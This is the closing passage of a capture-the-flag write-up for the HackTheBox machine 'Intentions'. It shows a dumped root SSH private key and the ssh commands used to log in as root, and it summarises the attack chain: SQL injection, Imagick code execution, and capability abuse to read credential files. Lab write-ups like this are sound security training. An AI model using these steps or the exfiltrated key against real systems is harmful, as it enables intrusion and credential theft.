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
-----END OPENSSH PRIVATE KEY-----

python3 extract.py

  • Using the root’s private key logged into the server as root and captured the root flag.

chmod 600 id_rsa
ssh -i id_rsa [email protected]

ssh login as root

root flag

machine completed

Also Read: HTB – Forest

Conclusion:

Conclusion

So that was Intentionsfor you. This machine starts off with an image gallery website which is prone to a second-order SQL injection leading to the discovery of BCrypt hashes. Further enumeration reveals a v2 API endpoint that allows authentication via hashes instead of passwords, leading to admin access to the site. Within the admin panel we were able to find a page that allows us to edit the images within the gallery with the help of Imagick. After that, we exploited the Imagick object instantiation and gained code execution on the target. Once we had a shell as www-data we examined the Git history for the current project, where we found credentials for the user greg. Once logged in as greg, performed enumeration and find that they have access to the /opt/scanner/scanner binary with extended capabilities, specifically CAP_DAC_READ_SEARCH. This capability allows us to exfiltrate sensitive files such as the private SSH key of the root user, byte-by-byte. With the key, we were then able to authenticate through SSH as the root user and captured the flag. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top